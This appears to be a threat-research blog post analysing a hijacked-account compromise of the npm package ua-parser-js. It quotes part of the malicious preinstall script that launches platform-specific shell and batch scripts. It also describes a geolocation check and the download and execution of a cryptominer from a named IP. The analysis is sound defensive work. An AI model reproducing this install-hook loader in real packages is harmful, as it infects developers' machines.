Threat Research Blog

Hijacked NPM Account Leads to Critical Supply Chain Compromise

As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware.

The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data.

The author of the package, Faisal Salman - a software developer from Indonesia, has commented about the incident:

Hi all, very sorry about this.

I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don't realize something was up, luckily the effect is quite the contrary).

I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0

I have sent a message to NPM support since I can't seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish) so I can only deprecate them with a warning message.

There are more than 2.5 million other repositories that depend on ua-parser-js. Google search "file:ua-parser-js.js" reveals nearly 2 million websites, which indicates the package is popular.

As seen in the source code diff, the newly added file package/preinstall.js will check the OS platform. If it's Windows, the script will spawn a newly added preinstall.bat script.

If the OS is Linux, the script will call terminalLinux() function, as seen in the source below:

var opsys = process.platform;
if (opsys == "darwin") {
    opsys = "MacOS";
} else if (opsys == "win32" || opsys == "win64") {
    opsys = "Windows";
	const { spawn } = require('child_process');
	const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
} else if (opsys == "linux") {
    opsys = "Linux";
	terminalLinux();
}

The terminalLinux() function will run the newly added preinstall.sh script.

function terminalLinux(){
exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {
    ...
});
}

The malicious preinstall.sh script first queries an XML file that will report the current user's geo-location by visiting this URL.

For example, for a user located in Australia, the returned content will be:

<Response>
    <IP>[IP_ADDRESS]</IP>
    <CountryCode>AU</CountryCode>
    <CountryName>Australia</CountryName>
    ...
</Response>

Next, the script searches for the presence of the following country codes in the returned XML file:

  • RU
  • UA
  • BY
  • KZ

That is, the script identifies if the affected user is located in Russia, Ukraine, Belarus, or Kazakhstan.

Suppose the user is NOT located in any of these countries. In that case, the script will then fetch and execute malicious ELF binary jsextension from a server with IP address 159.148.186.228, located in Latvia.

jsextension binary is an XMRig cryptominer with reasonably good coverage by other AV products.

Conclusion

The compromised ua-parser-js is a showcase of a typical supply chain attack. Last year, Prevasio found and reported a malicious package flatmap-stream in 1,482 Docker container images hosted in Docker Hub with a combined download count of 95M. The most significant contributor was the trojanized official container image of Eclipse.

What's fascinating in this case, however, is the effectiveness of the malicious code proliferation. It only takes one software developer to ignore a simple trick that reliably prevents these things from happening. The name of this trick is two-factor authentication (2FA).

About the Country Codes

Some people wonder why cybercriminals from Russia often avoid attacking victims outside of their country or other Russian-speaking countries. Some go as far as suggesting it's for their own legal protection.

The reality is way simpler, of course:

  • "Не гадь там, где живешь"
  • "Не сри там, где ешь"
  • "Не плюй в колодец, пригодится воды напиться"

Polite translation of all these sayings is:

"One should not cause trouble in a place, group, or situation where one regularly finds oneself."